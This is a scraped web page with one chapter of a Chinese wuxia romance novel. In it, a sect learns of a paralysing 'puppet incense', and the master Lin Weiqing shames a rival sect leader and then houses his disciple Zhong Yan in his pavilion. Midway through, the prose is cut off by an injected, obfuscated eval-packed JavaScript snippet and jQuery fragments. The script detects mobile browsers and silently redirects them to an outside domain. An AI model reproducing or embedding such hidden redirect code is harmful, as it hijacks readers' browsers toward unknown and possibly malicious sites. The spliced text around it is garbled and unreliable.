65. 为谁流下潇湘去·其三
作品:《云山雪》 忽而,几声古怪走调的萧音划破嘈杂,压得大殿内顷刻间觑静无声。
一时间,殿上众人皆被那道萧音如傀儡一般定在原地,千姿百态,动弹无方。
萧音很快停止,恢复过来的众人只觉浑身酸软无力、内息错乱难调,纷纷一齐看向奏箫的吴沉玉,面上五色斑斓,余悸难止。
这傀儡香好生厉害,无色无味,难以觉察,却能暗算人于弹指之间!
沉玉面色阴沉,难掩忧虑——
自离波沼的队伍归来后,郑维宁心伤柳沉泓之死,几乎日日守着他的尸身,闭门不出。他也跟着守在渡厄峰,是以这几日并未与外来的江湖中人有多少接触。可纵是这样,他方才奏响唤蛊调时,亦觉内息不调,气力难济,怕是这傀儡香在山间随风四散传播,避无可避。
“泓儿精通音律……”郑维宁狠狠一拍行椅扶手,双目通红,咬牙切齿:“他们是怕泓儿发现端倪,才故意用方沉鱼引诱,害他性命!”
眼见那行椅的木材一阵摇晃,响起嘎吱哀鸣,几乎被内劲震散,沉玉忙轻抚过郑维宁背脊为她顺气,温声道:“如今我们已得先机,以郑师叔之能,定能破解傀儡香的解法,还请师叔千万振作起来,为柳师兄报仇。”
“走开!”
郑维宁拨开他的手,竟是直接以气劲御起行椅,撇下所有人,独自向藏经阁去了。
沉玉抬步欲追,却为林维清所止:“让她一个人静一静吧。”
沉玉垂眸,唇角泛上一丝苦涩,颀长的身姿顿在原地,难掩寂寥。
傀儡香一事被证实后,大殿中短暂慌乱了一阵,好在很快便在徐维衡与韩维德的安抚中平息下来。
徐维衡见方才众人被定身之时,林维清与钟滟似是毫不受影响,不禁有疑——
钟滟未经过离波沼自是无碍,可林维清曾在离波沼为数十人逼傀儡蛊,理当中傀儡香更甚才是。他现在安然无恙,难道是……徐维衡当即神情大振,扬声道:“林师弟,此番大伙儿皆受傀儡香之控,唯独你安然无恙,可是由于你的修为已然突破了九重之故?”
他亦知骤然宣布此等大事有失稳妥,只是傀儡香一时无解,众人怯恐,军心涣散,若无速效安定之法,外一有人心生错念,向阿耶那方走漏了消息,那云山就更为被动了。
此时此刻,突破了九重浑天诀的林维清,便是最好的定海神针。
韩维德目中闪过一丝惊诧,随即被狂喜取代,狠狠一拍自家师弟肩头,朗声祝贺道:“好小子,我说以你的天资,怎么可能苦修多年都再无进境!原来早就突破了,瞒自家师兄瞒得这样紧,回去再跟你算账!”
林维清被架在高处,不得不进,只好道:“还请大家安心,九月初一前,云山与药王宗、神医谷携手,定能寻到傀儡香的解法。但有外一,便由在下为大家运功驱散傀儡香。”
大殿中的气氛迅速松快下来——
浑天九重乃是三百年来未有人能修成的神功,如今林维清大功已成,九月初一那日,便是只他一人,怕是都能杀得魔教落花流水,又有何可再惧?
一时间,人人面上与有荣焉,轮番上前恭贺寒暄不断。
唯独钟滟与沉玉目含隐忧,隔空互换了个眼色。
药王山严持盈上前祝贺时,林维清与她寒暄完,又云淡风轻地赞了句:“严掌门的金羽针法当真玄妙,上次有幸一观,方知若行顺针,则理气调血,起死回生,若行逆针则乱气封穴,断其根本,夺人性命于无形无痕。如此攻守兼备,真乃世间玄术。”
严持盈脸色一白。
金羽逆针乃是药王宗不传之秘。
被行了逆针之人,若练功则走火入魔,爆体而亡,若静养则身体日虚,终至油尽灯枯。如此伤人性命不留痕迹之法,若是被江湖中人所知,怕是今后只要被药王宗诊治过的病人,但凡有个三长两短……药王宗都说不清了!
这是要砸她药王宗安身立命的招牌!
当日他那个带在身边护得死死的小徒弟乔沉舟,一身魔功,分明是钟滟易形所扮,这种孽缘,就该悄无声息地了结干净才好。她替他瞒下丑事不表,他竟还恩将仇报!
林维清方才的赞语声音并不小,他又是众人焦点,一言既出,四周立有数道目光惊疑不定地向她探来。这么多天,也不知有多少伤患受过药王山的金羽针,局面已是无力回天……
严持盈知道今日这暗亏是吃定了,勉强笑道:“林真人玩笑了,金羽针法素来只有一套顺针,绝无逆针之说。”
林维清面色不变,语气愈淡:“哦?许是在下一时眼拙,严掌门莫怪。”
这是什么语气!
看似为她解围,却是说不出的欲盖弥彰。
严持盈咬牙闭目,再撑不住笑意,匆匆一礼告辞走了。
看着狼狈而去的严持盈,钟滟一时有些恍惚。
师父这是在……替她出气么?
是啊,当日师父来苏潋处救她时,好像是说过一句要为她讨公道的话,她早已抛置脑后,师父却还记得。
她忽然想起,在她轻浮狂妄,不管不顾对着师父吐露心意之前,在那无数个悉心照顾温柔陪伴的日日夜夜里,师父一直是这样的。
周到、护短、不曾让她受过半分委屈。
在玄晖峰,二位师兄也跟着待她如珠似宝,她每日所烦恼的,不过是新订的发带合不合心意,二师兄的新菜合不合口味。在外,便是她与二杨姐妹闹了再大的矛盾,受罚进戒心堂,也总是那对姐妹灰头土脸得多,她甚至没有挨过迟严长老一次戒鞭。
这才养出了她从前那身骄纵肆意的脾气,半点气也忍不得,半点委屈也不肯受。
钟滟唇角泛起一丝苦笑。
今夕何夕,恍如隔世。
周身被一股气劲轻柔一裹,整个人便跟着缓缓向外飞去。钟滟回过神来,原来不知何时殿中已经散会,林维清正带起她御风而行,看这方向,是回玄晖峰……
玄晖峰。
钟滟缓缓闭上眼,压下心头纷乱的情绪。
今时不同往日,再多思多想,也不过是一场大梦成空。
她想回乔沉舟的自在居落脚,林维清却径自将她送至了初昀阁前。
钟滟有些不愿:“师父,我还是回……”
林维清拦住她欲退的步伐,面色平静:“你又不是未曾住过。”
“可那是……”
那时林维清正罹患离魂症,乔沉舟为了哄他喝药治病才不得不扮成钟滟。
钟滟垂了垂睫,一时难以出口。
林维清却已下了定论:“这些日子玄晖峰并不会清静,我师兄来时,见你不住在此,他会疑心你的身份。”
钟滟:“……”
这话说得好没道理。
韩维德堂堂云山掌门,德高望重,最守规矩礼法,就算对她再深恶痛绝,也绝不会窥伺师弟门下女弟子的居所。不过目不斜视地在门外走一遭,还能发现她不住在里面不成?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880898|172401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
可林维清并没有与她讲道理的意思,钟滟到底不敢违抗,只噘了噘嘴,不甘不愿地跟着入了院门。
满楼烨烨生光的琉璃瓦霎时撞入眼底,晃得她停顿一刹。
思量迟滞几许,钟滟急急跟上林维清入内的脚步,小心觑着他的面色道:“师父,我在神焰教内……见到了二师兄。”
初昀阁内多日未有人打理,难免积了一层细尘。
某一瞬,一室的尘埃仿佛都被方才她那句话震了震。
林维清取布巾的手微顿,随即动作如常,抽下洁白的布巾,细细拂去桌间椅上每一处尘埃,以眼神示意她坐下。
他的面色并不好。
钟滟只得干巴巴地坐下,看着林维清头也不回地去了院中打水、生炉、擦洗四处,又自柜中取出秋被晾晒,忙中不乱,甚至还有闲暇捡出几片香檀为她熏了只手炉,一把塞进她怀里。
她脑中有些发懵,也不知局面怎么就突然演化成了这样。
她本只是想回云山报信,目的已然达成。
如今她命不久矣,不应久留此地,该寻隙告别才是,可师父的样子,替她打扫得这样细致……分明是觉得她还要长住。
不对……
为什么是师父在干活!
脑中忽而炸锅,钟滟一个激灵站了起来,唇齿都打了结:“师……师父!您在做什么,这些杂事,我来做就好了。”
林维清却不理她,任她似根小尾巴似的跟在身后,来回反复,进进出出。
他的身量高,手随意一抬,钟滟便不怎么能够到他手中的物事……她又不敢太过肆意,在一旁委委屈屈地欲拦又不敢拦,直到初昀阁两层里外都被打理齐整,也没能插上一次手。
茶炉上的热水开了,壶嘴间吐出一声声抗议的烟晕。
钟滟被吸引了注意。
总算捡到个能干的活,见林维清不与她抢,忙回身行云流水般地捡出茶具烫过,预备泡茶。
她在匣中翻捡了一遍,初昀阁内并无新茶,只有沉樾在时年年添置的茶饼。她便取茶碾碎,细煎调膏,注汤击拂,点出两盏茶汤,白乳浮于盏面,如疏星淡月。
林维清平日里从不泡茶,就算招待来客也多是熟水了事,是以全云山上下皆以为他不喜品茗。
可钟滟隐约知道,其实他是喜欢的。
她少时贪玩,喜爱涂鸦,非要跟着灵霄峰的柳师兄学点茶,学学停停,折腾了大半年才像点样子,好容易得了郑维宁一句夸,便迫不及待地回玄晖峰炫耀——大师兄笑意平淡,兴致寥寥,二师兄一通牛饮,赞口不绝,唯独师父饮后,眉梢隐然舒展了半分,露出一分微不可查的惬意。
钟滟十分手顺地将茶盏推向林维清面前,忽而身子一僵,抬起头。
不知何时,林维清竟已负手站在茶案前,悄无声息,只静静地看着她,也不知站了多久。
她唇角笑意有些发僵,低垂着眸子不敢看他,勉强道:“师父……请喝茶。”
林维清掀袍坐下,长指接过茶盏,把玩似的地晃了晃盏中凝实不散的茶沫,又置于鼻下轻嗅。
他的姿态分明清雅如品嗅风月,可钟滟不知怎么便品出一分山雨欲来的气势。只见他缓缓抬了眸,语气都似在品味:“乔沉舟,你的茶戏不错。”
清淡的语气震在耳膜,那个“茶”字发得微不可闻,简直难以言喻。
钟滟头皮一麻,心高高揪起,生怕他追问她从何处学来的点茶技艺……